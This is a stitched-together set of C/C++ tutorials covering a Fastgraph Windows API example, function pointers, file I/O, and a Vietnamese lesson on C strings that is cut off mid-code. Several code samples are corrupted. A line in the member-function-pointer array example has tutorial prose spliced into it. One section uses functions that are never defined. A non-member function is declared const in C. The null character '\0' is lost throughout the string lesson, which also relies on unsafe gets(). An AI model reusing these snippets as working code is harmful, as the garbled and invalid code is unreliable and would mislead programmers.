C or C++ Using the Windows API

C and C++ programs that use the Windows API functions consist of a main program, a window procedure, and possibly your own additional functions. The main program, which must be called WinMain(), sets up the window class (not to be confused with a C++ class), creates and initially displays the window, and manages the message loop. The window procedure, which will be called WindowProc() in all our examples, processes the messages it receives from Windows.

/****************************************************************************\
*                                                                            *
*  First.c                                                                   *
*                                                                            *
*  This is the first Fastgraph for Windows example program. It demonstrates  *
*  tasks common to most Fastgraph for Windows programs and serves as a       *
*  template for building the other examples.                                 *
*                                                                            *
\****************************************************************************/
#include <fgwin.h>
LRESULT CALLBACK WindowProc(HWND,UINT,WPARAM,LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdParam, int iCmdShow)
{
   static char szAppName[] = "FGfirst";
   HWND        hWnd;
   MSG         msg;
   WNDCLASSEX  wndclass;
   wndclass.cbSize        = sizeof(wndclass);
   wndclass.style         = CS_HREDRAW | CS_VREDRAW | CS_OWNDC;
   wndclass.lpfnWndProc   = WindowProc;
   wndclass.cbClsExtra    = 0;
   wndclass.cbWndExtra    = 0;
   wndclass.hInstance     = hInstance;
   wndclass.hIcon         = LoadIcon(NULL,IDI_APPLICATION);
   wndclass.hCursor       = LoadCursor(NULL,IDC_ARROW);
   wndclass.hbrBackground = NULL;
   wndclass.lpszMenuName  = NULL;
   wndclass.lpszClassName = szAppName;
   wndclass.hIconSm       = LoadIcon(NULL,IDI_APPLICATION);
   RegisterClassEx(&wndclass);
   hWnd = CreateWindow(szAppName, // window class name
      "First Fastgraph for Windows Program", // window caption
      WS_OVERLAPPEDWINDOW,     // window style
      CW_USEDEFAULT,           // initial x position
      CW_USEDEFAULT,           // initial y position
      CW_USEDEFAULT,           // initial x size
      CW_USEDEFAULT,           // initial y size
      NULL,                    // parent window handle
      NULL,                    // window menu handle
      hInstance,               // program instance handle
      NULL);                   // creation parameters
   ShowWindow(hWnd,iCmdShow);
   UpdateWindow(hWnd);
   while (GetMessage(&msg,NULL,0,0))
   {
      TranslateMessage(&msg);
      DispatchMessage(&msg);
   }
   return msg.wParam;
}
/****************************************************************************\
*                                                                            *
*  WindowProc                                                                *
*                                                                            *
*  Window procedure to handle messages sent to the window.                   *
*                                                                            *
\****************************************************************************/
HDC      hDC;
HPALETTE hPal;
int      hVB;
UINT     cxClient, cyClient;
LRESULT CALLBACK WindowProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
   PAINTSTRUCT ps;
   switch (iMsg)
   {
      case WM_CREATE:
         hDC = GetDC(hWnd);
         fg_setdc(hDC);
         hPal = fg_defpal();
         fg_realize(hPal);
         fg_vbinit();
         hVB = fg_vballoc(640,480);
         fg_vbopen(hVB);
         fg_vbcolors();
         fg_setcolor(19);
         fg_fillpage();
         return 0;
      case WM_PAINT:
         BeginPaint(hWnd,&ps);
         fg_vbscale(0,fg_getmaxx(),0,fg_getmaxy(),0,cxClient-1,0,cyClient-1);
         EndPaint(hWnd,&ps);
         return 0;
      case WM_SETFOCUS:
         fg_realize(hPal);
         InvalidateRect(hWnd,NULL,TRUE);
         return 0;
      case WM_SIZE:
         cxClient = LOWORD(lParam);
         cyClient = HIWORD(lParam);
         return 0;
      case WM_DESTROY:
         fg_vbclose();
         fg_vbfree(hVB);
         fg_vbfin();
         DeleteObject(hPal);
         ReleaseDC(hWnd,hDC);
         PostQuitMessage(0);
         return 0;
   }
   return DefWindowProc(hWnd,iMsg,wParam,lParam);
}

First, notice the directive at the beginning of the program:

#include <fgwin.h>

 

The FGWIN.H header file contains Fastgraph’s function prototypes and symbolic constant definitions. It also force-includes the WINDOWS.H header file if necessary. This statement will appear in the C and C++ versions of all Fastgraph example programs.

Now let’s look at WinMain(). WinMain() first sets up a window class that defines the window characteristics and associates a window procedure with the class. It then calls the CreateWindow() Windows API function to create a window based on that window class (this also generates the WM_CREATE message). CreateWindow() returns a window handle, which we store in the variable hWnd, for use elsewhere in the program. Next, the Windows API function ShowWindow() initially displays the window, and another Windows API function, UpdateWindow(), then generates the first WM_PAINT message to display the window contents. The remainder of WinMain() is a while loop implementing the message loop. The message loop retrieves messages Windows sends to the program and sends these to the program’s window procedure for processing. The message loop executes until the user exits the program. Note that we’ve exclusively used Windows API functions to handle the details of WinMain().

The window procedure WindowProc() is where most of the action takes place and provides our first look at some Fastgraph functions. Note that our program does not explicitly call WindowProc(). Instead, it is called by Windows in response to events such as creating or resizing the window. The message loop passes these events to WindowProc() as messages, which WindowProc() processes through its own distinct message handlers. WindowProc() implements the message handlers as a switch and case construct. Our window procedure includes WM_CREATE, WM_PAINT, WM_SETFOCUS, WM_SIZE, and WM_DESTROY message handlers, which we’ll now discuss in detail.

Windows generates a WM_CREATE message when it first creates the program’s window. Only one WM_CREATE message typically occurs per program instance, so it is a good place for any application-specific initialization code. Our WM_CREATE message handler first calls the Windows API function GetDC() to obtain a device context to the window’s client area and then calls fg_setdc() to make the device context available to other Fastgraph functions:

hDC = GetDC(hWnd);
fg_setdc(hDC);

 

Next, it creates and realizes the default logical palette:

hPal = fg_defpal();

fg_realize(hPal);

The WM_CREATE message handler then initializes Fastgraph’s virtual buffer environment, creates a 640×480 virtual buffer and makes it the active virtual buffer, and assigns the logical palette colors to the virtual buffer:

fg_vbinit();

hVB = fg_vballoc(640,480);

fg_vbopen(hVB);

fg_vbcolors();

Finally, we fill the virtual buffer with blue pixels (color 19 is blue when using Fastgraph’s default 256-color virtual buffers with the default logical palette):

fg_setcolor(19);

fg_fillpage();

Windows generates a WM_PAINT message when the window’s client area must be repainted. Our WM_PAINT handler begins with a call to the Windows API function BeginPaint(), then calls fg_vbscale() to display the contents of the 640×480 virtual buffer scaled to the size of the client area, and ends with a call to the Windows API function EndPaint(). This sequence is typical of WM_PAINT message handlers in Fastgraph programs.

Windows generates a WM_SETFOCUS message when the window gains the input focus. This most often happens when the window becomes the active or top-level window. Our WM_SETFOCUS handler first calls fg_realize() to activate the program’s logical palette (in case another program has changed the logical palette colors), then calls the Windows API function InvalidateRect() to force a WM_PAINT message to redraw the client area. This sequence is typical of WM_SETFOCUS message handlers in Fastgraph programs.

Windows generates a WM_SIZE message whenever the size of the window changes, and also upon creation of a window. Our WM_SIZE handler simply saves the new width and height of the client area (in pixels) in the variables cxClient and cyClient. These quantities are passed to fg_vbscale() in the WM_PAINT message handler.

Windows generates a WM_DESTROY message after removing a window to signal a program exit. Our WM_DESTROY handler first closes the virtual buffer, releases its memory, and terminates virtual buffer processing:

fg_vbclose();

fg_vbfree(hVB);

fg_vbfin();

It then calls three Windows API functions to delete the logical palette created with fg_defpal(), release the device context created with GetDC(), and exit:

DeleteObject(hPal);

ReleaseDC(hWnd,hDC);

PostQuitMessage(0);

Finally, our window procedure ends with a call to the Windows API function DefWindowProc(). This provides default message processing for the hundreds of other Windows message types not explicitly handled by the window procedure.

Source : fastgraph.com

The Syntax of C and C++ Function Pointers

Define a Function Pointer

Regarding their syntax, there are two different types of function pointers: On the one hand there are pointers to ordinary C functions or to static C++ member functions. On the other hand there are pointers to non-static C++ member functions. The basic difference is that all pointers to non-static member functions need a hidden argument: The this-pointer to an instance of the class. Always keep in mind: These two types of function pointers are incompatible with each other.

Since a function pointer is nothing else than a variable, it must be defined as usual. In the following example we define three function pointers named pt2Function, pt2Member and pt2ConstMember. They point to functions, which take one float and two char and return an int. In the C++ example it is assumed, that the functions, our pointers point to, are (non-static) member functions of TMyClass.

int (*pt2Function)(float, char, char) = NULL;                        // C
int (TMyClass::*pt2Member)(float, char, char) = NULL;                // C++
int (TMyClass::*pt2ConstMember)(float, char, char) const = NULL;     // C++
Calling Convention

Normally you don’t have to think about a function’s calling convention: The compiler assumes __cdecl as default if you don’t specify another convention. However if you want to know more, keep on reading … The calling convention tells the compiler things like how to pass the arguments or how to generate the name of a function. Some examples for other calling conventions are __stdcall, __pascal and __fastcall. The calling convention belongs to a function’s signature: Thus functions and function pointers with different calling convention are incompatible with each other! For Borland and Microsoft compilers you specify a specific calling convention between the return type and the function’s or function pointer’s name. For the GNU GCC you use the __attribute__ keyword: Write the function definition followed by the keyword __attribute__ and then state the calling convention in double parentheses. If someone knows more: Let me know😉 And if you want to know how function calls work under the hood you should take a look at the chapter Subprograms in Paul Carter’s PC Assembly Tutorial.

void __cdecl DoIt(float a, char b, char c);                             // Borland and Microsoft
void         DoIt(float a, char b, char c)  __attribute__((cdecl));     // GNU GCC
Assign an address to a Function Pointer

It’s quite easy to assign the address of a function to a function pointer. You simply take the name of a suitable and known function or member function. Although it’s optional for most compilers you should use the address operator & infront of the function’s name in order to write portable code. You may have got to use the complete name of the member function including class-name and scope-operator (::). Also you have got to ensure, that you are allowed to access the function right in scope where your assignment stands.


//assign an address to the function pointer
//     Note: Although you may ommit the address operator on most compilers
//     you should always use the correct way in order to write portable code.

// C
int DoIt  (float a, char b, char c){ printf("DoIt\n");   return a+b+c; }
int DoMore(float a, char b, char c)const{ printf("DoMore\n"); return a-b+c; }

pt2Function = DoIt;      // short form
pt2Function = &DoMore;   // correct assignment using address operator
// C++
class TMyClass
{
public:
   int DoIt(float a, char b, char c){ cout << "TMyClass::DoIt"<< endl; return a+b+c;};
   int DoMore(float a, char b, char c) const
         { cout << "TMyClass::DoMore" << endl; return a-b+c; };

   /* more of TMyClass */
};

pt2ConstMember = &TMyClass::DoMore; // correct assignment using address operator
pt2Member = &TMyClass::DoIt; // note: <pt2Member> may also legally point to &DoMore
Comparing Function Pointers

You can use the comparison-operators (==, !=) the same way as usual. In the following example it is checked, whether pt2Function and pt2Member actually contain the address of the functions DoIt and TMyClass::DoMore. A text is shown in case of equality.

//  comparing function pointers

// C
if(pt2Function >0){                           // check if initialized
   if(pt2Function == &DoIt)
      printf("Pointer points to DoIt\n"); }
else
   printf("Pointer not initialized!!\n");


// C++
if(pt2ConstMember == &TMyClass::DoMore)
   cout << "Pointer points to TMyClass::DoMore" << endl;
Calling a Function using a Function Pointer

In C you call a function using a function pointer by explicitly dereferencing it using the * operator. Alternatively you may also just use the function pointer’s instead of the funtion’s name. In C++ the two operators .* resp. ->* are used together with an instance of a class in order to call one of their (non-static) member functions. If the call takes place within another member function you may use the this-pointer.

//------------------------------------------------------------------------------------
//  How to Return a Function Pointer
//     'Plus' and 'Minus' are defined above. They return a float and take two float


// Direct solution: Function takes a char and returns a pointer to a
// function which is taking two floats and returns a float. <opCode>
// specifies which function to return
float (*GetPtr1(const char opCode))(float, float)
{
   if(opCode == '+')
      return &Plus;
   else
      return &Minus; // default if invalid operator was passed
}


// Solution using a typedef: Define a pointer to a function which is taking
// two floats and returns a float
typedef float(*pt2Func)(float, float);

// Function takes a char and returns a function pointer which is defined
// with the typedef above. <opCode> specifies which function to return
pt2Func GetPtr2(const char opCode)
{
   if(opCode == '+')
      return &Plus;
   else
      return &Minus; // default if invalid operator was passed
}


// Execute example code
void Return_A_Function_Pointer()
{
   cout << endl << "Executing 'Return_A_Function_Pointer'" << endl;

   // define a function pointer and initialize it to NULL
   float (*pt2Function)(float, float) = NULL;

   pt2Function=GetPtr1('+');   // get function pointer from function 'GetPtr1'
   cout << (*pt2Function)(2, 4) << endl;   // call function using the pointer


   pt2Function=GetPtr2('-');   // get function pointer from function 'GetPtr2'
   cout << (*pt2Function)(2, 4) << endl;   // call function using the pointer
}
How to Use Arrays of Function Pointers ?

Operating with arrays of function pointers is very interesting. This offers the possibility to select a function using an index. The syntax appears difficult, which frequently leads to confusion. Below you find two ways of how to define and use an array of function pointers in C and C++. The first way uses a typedef, the second way directly defines the array. It’s up to you which way you prefer.

//------------------------------------------------------------------------------------
// 2.8 How to Use Arrays of Function Pointers

// C ---------------------------------------------------------------------------------

// type-definition: 'pt2Function' now can be used as type
typedef int (*pt2Function)(float, char, char);

// illustrate how to work with an array of function pointers
void Array_Of_Function_Pointers()
{
   printf("\nExecuting 'Array_Of_Function_Pointers'\n");

   // define arrays and ini each element to NULL, <funcArr1> and <funcArr2> are arrays
   // with 10 pointers to functions which return an int and take a float and two char

   // first way using the typedef
   pt2Function funcArr1[10] = {NULL};

   // 2nd way directly defining the array
   int (*funcArr2[10])(float, char, char) = {NULL};


   // assign the function's address - 'DoIt' and 'DoMore' are suitable functions
   // like defined above in 2.1-4
   funcArr1[0] = funcArr2[1] = &DoIt;
   funcArr1[1] = funcArr2[0] = &DoMore;

   /* more assignments */

   // calling a function using an index to address the function pointer
   printf("%d\n", funcArr1[1](12, 'a', 'b'));         //  short form
   printf("%d\n", (*funcArr1[0])(12, 'a', 'b'));      // "correct" way of calling
   printf("%d\n", (*funcArr2[1])(56, 'a', 'b'));
   printf("%d\n", (*funcArr2[0])(34, 'a', 'b'));
}


// C++ -------------------------------------------------------------------------------

// type-definition: 'pt2Member' now can be used as type
typedef int (TMyClass::*pt2Member)(float, char, char);

// illustrate how to work with an array of member function pointers
void Array_Of_Member_Function_Pointers()
{
   cout << endl << "Executing 'Array_Of_Member_Function_Pointers'" << endl;

   // define arrays and ini each element to NULL, <funcArr1> and <funcArr2> are
   // arrays with 10 pointers to member functions which return an int and take
   // a float and two char

   // first way using the typedef
   pt2Member funcArr1[10] = {NULL};

   // 2nd way of directly defining the array
   int (TMyClass::*funcArr2[10])(float, char, char) = {NULL};


   // assign the function's address - 'DoIt' and 'DoMore' are suitable member
   //  functions of class TMyClass like defined above in 2.1-4
   funcArr1[0] = funcArr2nd use an array of function pointers in C and C++.
 The first way uses a typedef, the second way directly defines the array. It's up to you which way you prefer.
[1] = &TMyClass::DoIt;
   funcArr1[1] = funcArr2[0] = &TMyClass::DoMore;
   /* more assignments */

   // calling a function using an index to address the member function pointer
   // note: an instance of TMyClass is needed to call the member functions
   TMyClass instance;
   cout << (instance.*funcArr1[1])(12, 'a', 'b') << endl;
   cout << (instance.*funcArr1[0])(12, 'a', 'b') << endl;
   cout << (instance.*funcArr2[1])(34, 'a', 'b') << endl;
   cout << (instance.*funcArr2[0])(89, 'a', 'b') << endl;
}

Intro to File Input/Output in C

Redirection:

One way to get input into a program or to display output from a program is to use standard input and standard output, respectively. All that means is that to read in data, we use scanf() (or a few other functions) and to write out data, we use printf().

When we need to take input from a file (instead of having the user type data at the keyboard) we can use input redirection:

% a.out < inputfile

This allows us to use the same scanf() calls we use to read from the keyboard. With input redirection, the operating system causes input to come from the file (e.g., inputfile above) instead of the keyboard.

Similarly, there is output redirection:

% a.out > outputfile

that allows us to use printf() as before, but that causes the output of the program to go to a file (e.g., outputfile above) instead of the screen.

Of course, the 2 types of redirection can be used at the same time…

% a.out < inputfile > outputfile

C File I/O:

While redirection is very useful, it is really part of the operating system (not C). In fact, C has a general mechanism for reading and writing files, which is more flexible than redirection alone.

stdio.h

 

There are types and functions in the library stdio.h that are used for file I/O. Make sure you always include that header when you use files.

Type

For files you want to read or write, you need a file pointer, e.g.:

FILE *fp;

 

What is this type "FILE *"? Realistically, you don’t need to know. Just think of it as some abstract data structure, whose details are hidden from you. In other words, the only way you can use a FILE * is via the functions that C gives you.


Note: In reality, FILE is some kind of structure that holds information about the file. We must use a FILE * because certain functions will need to change that information, i.e., we need to pass the information around by reference.


Functions

Reading from or writing to a file in C requires 3 basic steps:

  1. Open the file.
  2. Do all the reading or writing.
  3. Close the file.

Following are described the functions needed to accomplish each step.

A complete program that includes the example described below, plus an input file to use with that program

Opening a file:

In order to open a file, use the function fopen(). Use it as:

fp = fopen(filename, mode);

 

where:

  • filename is a string that holds the name of the file on disk (including a path like /cs/course if necessary).
  • mode is a string representing how you want to open the file. Most often you’ll open a file for reading ("r") or writing ("w").

Note that fopen() returns a FILE * that can then be used to access the file. When the file cannot be opened (e.g., we don’t have permission or it doesn’t exist when opening for reading), fopen() will return NULL.

  • Here are examples of opening files:

    FILE *ifp, *ofp;
    char *mode = "r";
    char outputFilename[] = "out.list";
    
    ifp = fopen("in.list", mode);
    
    if (ifp == NULL) {
      fprintf(stderr, "Can't open input file in.list!\n");
      exit(1);
    }
    
    ofp = fopen(outputFilename, "w");
    
    if (ofp == NULL) {
      fprintf(stderr, "Can't open output file %s!\n",
              outputFilename);
      exit(1);
    }
  • Note that the input file that we are opening for reading ("r") must already exist. In contrast, the output file we are opening for writing ("w") does not have to exist. If it doesn’t, it will be created. If this output file does already exist, its previous contents will be thrown away (and will be lost).


    Note: There are other modes you can use when opening a file, such as append ("a") to append something to the end of a file without losing its contents…or modes that allow you to both read and write. You can look up these other modes in a good C reference on stdio.h.


  • Reading from or writing to a file:

    Once a file has been successfully opened, you can read from it using fscanf() or write to it using fprintf(). These functions work just like scanf() and printf(), except they require an extra first parameter, a FILE * for the file to be read/written.


    Note: There are other functions in stdio.h that can be used to read or write files. Look them up in a good C reference.


    Continuing our example from above, suppose the input file consists of lines with a username and an integer test score, e.g.:

    in.list
    ------
    foo 70
    bar 98
    ...

    and that each username is no more than 8 characters long.

    We might use the files we opened above by copying each username and score from the input file to the output file. In the process, we’ll increase each score by 10 points for the output file:

    char username[9];  /* One extra for nul char. */
    int score;
    
    ...
    
    while (fscanf(ifp, "%s %d", username, &score) != EOF) {
      fprintf(ofp, "%s %d\n", username, score+10);
    }
    
    ...

     

    The function fscanf(), like scanf(), normally returns the number of values it was able to read in. However, when it hits the end of the file, it returns the special value EOF. So, testing the return value against EOF is one way to stop the loop.

    The bad thing about testing against EOF is that if the file is not in the right format (e.g., a letter is found when a number is expected):

    in.list
    ------
    foo 70
    bar 98
    biz A+
    ...

    then fscanf() will not be able to read that line (since there is no integer to read) and it won’t advance to the next line in the file. For this error, fscanf() will not return EOF (it’s not at the end of the file)….

    Errors like that will at least mess up how the rest of the file is read. In some cases, they will cause an infinite loop.

    One solution is to test against the number of values we expect to be read by fscanf() each time. Since our format is "%s %d", we expect it to read in 2 values, so our condition could be:

    while (fscanf(ifp, "%s %d", username, &score) == 2) {
      ...

    Now, if we get 2 values, the loop continues. If we don’t get 2 values, either because we are at the end of the file or some other problem occurred (e.g., it sees a letter when it is trying to read in a number with %d), then the loop will end.

    Another way to test for end of file is with the library function feof(). It just takes a file pointer and returns a true/false value based on whether we are at the end of the file.

    To use it in the above example, you would do:

    while (!feof(ifp)) {
      if (fscanf(ifp, "%s %d", username, &score) != 2)
        break;
      fprintf(ofp, "%s %d", username, score+10);
    }

    Note that, like testing != EOF, it might cause an infinite loop if the format of the input file was not as expected. However, we can add code to make sure it reads in 2 values (as we’ve done above).


    Note: When you use fscanf(...) != EOF or feof(...), they will not detect the end of the file until they try to read past it. In other words, they won’t report end-of-file on the last valid read, only on the one after it.

    Closing a file:

    When done with a file, it must be closed using the function fclose().

    To finish our example, we’d want to close our input and output files:

    fclose(ifp);

    fclose(ofp);

    Closing a file is very important, especially with output files. The reason is that output is often buffered. This means that when you tell C to write something out, e.g.,

    fprintf(ofp, "Whatever!\n");

     

    it doesn’t necessary get written to disk right away, but may end up in a buffer in memory. This output buffer would hold the text temporarily:

    Sample output buffer:
    ----------------------------------------------
    | a | b  | c | W | h | a | t | e | v | e | r |
    ----------------------------------------------
    | ! | \n |   |   |   |   |   |   |   |   |   |
    ----------------------------------------------
    |   |    |   |   |   |   |   |   |   |   |   |
    ----------------------------------------------
    |   |    |   |   |   |   |   |   |   |   |   |
    ----------------------------------------------
    ...
  • The buffer is really just 1-dimensional despite this drawing.)

    When the buffer fills up (or when the file is closed), the data is finally written to disk.

    So, if you forget to close an output file then whatever is still in the buffer may not be written out.


    Note: There are other kinds of buffering than the one we describe here.


  • Special file pointers:

    There are 3 special FILE *‘s that are always defined for a program. They are stdin (standard input), stdout (standard output) and stderr (standard error).

    Standard Input

    Standard input is where things come from when you use scanf(). In other words,

    scanf("%d", &val);

    is equivalent to the following fscanf():

    fscanf(stdin, "%d", &val);
    Standard Output

    Similarly, standard output is exactly where things go when you use printf(). In other words,

    printf("Value = %d\n", val); 

    is equivalent to the following fprintf();

    fprintf(stdout, "Value = %d\n", val);

    Remember that standard input is normally associated with the keyboard and standard output with the screen, unless redirection is used.

    Standard Error

    Standard error is where you should display error messages. We’ve already done that above:

    fprintf(stderr, "Can't open input file in.list!\n");
  • Standard error is normally associated with the same place as standard output; however, redirecting standard output does not redirect standard error.

    For example,

    % a.out > outfile

    only redirects stuff going to standard output to the file outfile… anything written to standard error goes to the screen.

    Using the Special File Pointers

    We’ve already seen that stderr is useful for printing error messages, but you may be asking, "When would I ever use the special file pointers stdin and stdout?" Well, suppose you create a function that writes a bunch of data to an opened file that is specified as a parameter:

    void WriteData(FILE *fp)
    {
      fprintf(fp, "data1\n");
      fprintf(fp, "data2\n");
      ...
    }

    Certainly, you can use it to write the data to an output file (like the one above):

    WriteData(ofp);

    But, you can also write the data to standard output:

    WriteData(stdout);

    Without the special file pointer stdout, you’d have to write a second version of WriteData() that wrote stuff to standard output.

    Sử dụng chuỗi trong C

    Chuỗi trong C liên quan rất nhiều đến con trỏ. Khi bạn đã quen sử dụng con trỏ, bạn có thể vận dùng vào xử lý chuỗi hiệu qủa hơn so với trong Pascal.

    Một chuỗi trong C đơn giản là một mảng kí tự. Dòng sau đây khai báo một mảng có thể lưu giữ một chuỗi lên đến 99 kí tự.

    char str[100];

     

    Mảng str lưu giữ kí tự như sau: str[0] là kí tự đầu của mảng, str[1] là kí tự thứ hai, v.v.. Nhưng tại sao một mảng 100 phần tử lại chỉ lưu được có 99 kí tự. Bởi vì C dùng null-terminated strings, nghĩa là kết thúc một chuỗi luôn được đánh dấu bởi kí tự có mã ASCII là 0 (kí tự null), được kí hiệu trong C là ‘’

    Lọai chuỗi này rất khác so với strings trong Pascal. Trong Pascal, mỗi string là một mảng kí tự, trong đó dành ra một byte để lưu giữ số kí tự chứa trong mảng. Cấu trúc này cho phép Pascal thuận lợi hơn khi cần biết độ dài của chuỗi. Pascal chỉ cần trả về giá trị đã lưu giữ, trong khi C cần phải đếm kí tự cho đến khi nó gặp ‘’. Nghĩa là C sẽ chậm hơn Pascal nhiều trong một số trường hợp, nhưng trong một số trường hợp khác nó lại nhanh hơn, như chúng ta sẽ thấy trong ví dụ dưới đây.

    Tất cả các hàm hỗ trợ xử lý chuỗi đều được đặt trong thư viện <string.h> (trên một số hệ thống là <strings.h>). Bởi vì C bản thân nó không hỗ trợ các công cụ xử lý strings, do đó bạn sẽ cảm thấy hơi bất tiện trong việc viết mã. Ví dụ, trong Pascal, muốn copy một chuỗi sang một chuỗi khác, bạn làm rất dễ dàng như sau:

    program samp;

    var s1,s2:string;

    begin

    s1:=’hello’;

    s2:=s1;

    end.

    Trong C, như đã biết, chúng ta không thể đơn giản gán một mảng cho một mảng khác, mà phải copy từng phần tử. Thư viên string chứa hàm strcpy cho phép bạn làm điều này. Đọan mã sau cho thấy cách sử dụng hàm strcpy để copy chuỗi:

    #include <string.h>

    void main()

    {

    char s1[100],s2[100];

    strcpy(s1,”hello”); /* copy “hello” vào s1 */

    strcpy(s2,s1);      /* copy s1 vào s2 */

    }

    Hàm strcpy được sử dụng khi bạn cần khởi tạo một chuỗi. Một khác biệt nữa giữa Pascal và C là so sánh chuỗi. Trong Pascal, so sánh chuỗi được xây dựng ngay trong cơ sở ngôn ngữ (các tóan tử <, >, =, v.v… làm việc với chuỗi) . Còn trong C, bạn phải dùng hàm strcmp trong thư viện string, so sành hai chuỗi và trả về một số nguyên cho biết kết qủa so sánh. Kết qủa bằng 0 nghĩa là hai chuỗi bằng nhau, bằng giá trị âm nghĩa là s1 < s2, bằng giá trị dương nghĩa là s1 > s2. Trong Pascal, đọan mã như sau:

    program samp;

    var s1,s2:string;

    begin

    readln(s1);

    readln(s2);

    if s1=s2 then

    writeln(‘bằng nhau’)

    else if (s1<s2) then

    writeln(‘s1 bé hơn s2′)

    else

    writeln(‘s1 lớn hơn s2′);

    end.

    Đây là đọan mã tương đương trong C:

    #include <stdio.h>

    #include <string.h>

    void main()

    {

    char s1[100],s2[100];

    gets(s1);

    gets(s2);

    if (strcmp(s1,s2)==0)

    printf(“bằng nhau\n”);

    else if (strcmp(s1,s2)<0)

    printf(“s1 bé hơn s2\n”);

    else

    printf(“s1 lớn hơn s2\n”);

    }

    Một số hàm thông dụng khác trong thư viện string là strlen, trả về độ dài của chuỗi; strcat nối hai chuỗi. Bạn có thể tham khảo thêm phần help của Turbo C. Lưu ý rằng nhiều khả năng xử lý chuỗi của Pascal, như copy, delete, pos, v.v… không có trong C. Do đó bạn cần phải tự xây dựng một số hàm xử lý chuỗi cho riêng mình. Hãy bắt đầu với việc viết lại hàm strlen. Sau đây là một cách viết mã theo phong cách các bạn đã quen dùng với Pascal:

    int strlen(char s[])

    {

    int x;

    x=0;

    while (s[x] != ‘′)

    x=x+1;

    return(x);

    }

    Hầu hết các lập trình viên C không thích cách tiếp cận này bởi vì nó có vẻ kém hiệu qủa. Thay vào đó, họ thường dùng cách tiếp cận dựa trên con trỏ:

    int strlen(char *s)

    {

    int x=0;

    while (*s != ‘′)

    {

    x++;

    s++;

    }

    return(x);

    }

    Bạn có thể viết gọn lại như sau:

    int strlen(char *s)

    {

    int x=0;

    while (*s++)

    x++;

    return(x);

    }

    Có lẽ một chuyên gia về C còn có thể làm đọan mã trên ngắn hơn nữa.

    Tuy nhiên thực tế khi chạy và so sánh ba chương trình trên, bạn sẽ thấy thời gian thực hiện của chúng như nhau hoặc sai khác rất nhỏ. Điều đó có nghĩa là, bạn nên viết mã theo bất kì cách nào mã bạn thấy dễ hiểu nhất. Con trỏ thông thường làm chương trình chạy nhanh hơn, nhưng hàm strlen trên lại không thuộc về trường hợp đó.

    Chúng ta hãy tiếp tục với hàm strcopy:

    strcpy(char s1[],char s2[])

    {

    int x;

    for (x=0; x<=strlen(s2); x++)

    s1[x]=s2[x];

    }

    Lưu ý dấu <= bởi vì đọan mã cần copy cả kí tự ‘’. Một điều nữa là đọan mã này rất kém hiệu qủa, bởi vì hàm strlen được gọi lại mỗi khi bạn lặp lại vòng for. Để giải quyết vấn đề này, bạn có thể dùng đọan mã dưới đây:

    strcpy(char s1[],char s2[])

    {

    int x,len;

    len=strlen(s2);

    for (x=0; x<=len; x++)

    s1[x]=s2[x];

    }

    Còn đây là phiên bản sử dụng con trỏ:

    strcpy(char *s1,char *s2)

    {

    while (*s2 != ‘′)

    {

    *s1 = *s2;

    s1++;

    s2++;

    }

    }

    Bạn có thể viết ngắn hơn nữa:

    strcpy(char *s1,char *s2)

    {

    while (*s2)

    *s1++ = *s2++;

    }

    Thậm chí bạn có thể viết là while(*s1++=*s2++); Lần này, khi chạy thử, bạn sẽ thấy phiên bản thứ nhất chạy rất chậm, trong khi đó phiên bản thứ ba và thứ tư nhanh hơn so với phiên bản thứ hai. Trong trường hợp này, con trỏ thực sự hiệu qủa.

    Sử dụng con trỏ đối với chuỗi đôi khi tạo ra hiệu qủa rõ rệt về tốc độ. Ví dụ giả sử bạn muốn lọai bỏ khỏang trắng ở đầu trong một chuỗi. Trong Pascal, bạn thường phải sử dụng hàm delete như sau:

    program samp;

    var s:string;

    begin

    readln(s);

    while (s[1] <> ‘ ‘) and (length(s)>0) do

    delete(s,1,1);

    writeln(s);

    end;

    Đọan mã trên kém hiệu qủa bởi vì nó dời tòan bộ mảng kí tự đi một vị trí mỗi khi tìm thấy một khỏang trắng ở đầu chuỗi. Cách tốt hơn là như sau:

    program samp;

    var s:string;

    x:integer;

    begin

    readln(s);

    x:=0;

    while (s[x+1] <> ‘ ‘) and (x<length(s)) do

    x:=x+1;

    delete(s,1,x);

    writeln(s);

    end;

    Với kỹ thuật trên, mỗi kí tự chỉ cần dịch chuyển một lần. Trong C, thậm chí bạn có thể không cần phải dịch chuyển kí tự nào như sau:

    #include <stdio.h>

    #include <string.h>

    void main()

    {

    char s[100],*p;

    gets(s);

    p=s;

    while (*p==’ ‘)

    p++;

    printf(“%s\n”,p);

    }

    Đọan mã này nhanh hơn nhiều so với Pascal, đặc biệt đối với những chuỗi dài.

    Thực hành nhiều sẽ giúp bạn học được thêm những thủ thuật với chuỗi.

    Những chuỗi hằng

    Bạn hãy thử hai đọan chương trình sau:

    Đọan 1:

    {

    char *s;

    s=”hello”;

    printf(“%s\n”,s);

    }

    Đọan 2:

    {

    char s[100];

    strcpy(s,”hello”);

    printf(“%s\n”,s);

    }

    Hai đọan mã trên đưa ra cùng một kết qủa, nhưng cách họat động của chúng hòan tòan khác nhau. Trong đọan 2, bạn không thể viết s=”hello”;. Để hiểu sự khác nhau, bạn cần phải biết họat động của bảng chuỗi hằng (string constant table) trong C.

    Khi chương trình được thực thi, trình biên dịch tạo ra một file object, chứa mã máy và một bảng chứa tất cả các chuỗi hằng khai báo trong chương trình. Trong đọan 1, lệnh s=”hello”; xác định rằng s chỉ đến địa chỉ của chuỗi hello trong bảng chuỗi hằng. Bởi vì chuỗi này nằm trong bảng chuỗi hằng, và là một bộ phận trong mã exe, nên bạn không thể thay đổi được nó. Bạn chỉ có thể dùng nó theo kiểu chỉ-đọc (read-only).

    Trong đọan 2, chuỗi hello cũng tồn tại trong bảng chuỗi hằng, do đó bạn có thể copy nó vào mảng kí tự tên là s. Bởi vì s không phải là một con trỏ, lệnh s=”hello”; sẽ không làm việc.

    Lưu ý khi sử dụng String với lệnh malloc

    Giả sử bạn viết đọan chương trình sau:

    void main()

    {

    char *s;

    s=(char *) malloc (100);

    s=”hello”;

    free(s);

    }

    Đọan mã trên biên dịch được, nhưng nó tạo ra một lỗi “segmentation fault” ngay ở dòng free. Bởi vì lệnh malloc tạo ra một khối bộ nhớ 100 bytes và trỏ s vào đó, nhưng dòng s=”hello”; lại trỏ s đến một chuỗi trong bảng chuỗi hằng, còn khối bộ nhớ 100 bytes bị bỏ qua. Do đó lệnh free gặp lỗi vì không thể giải phóng một khối bộ nhớ trong khu vực mã exe.

    Đọan mã đúng phải là như sau:

    void main()

    {

    char *s;

    s=(char *) malloc (100);

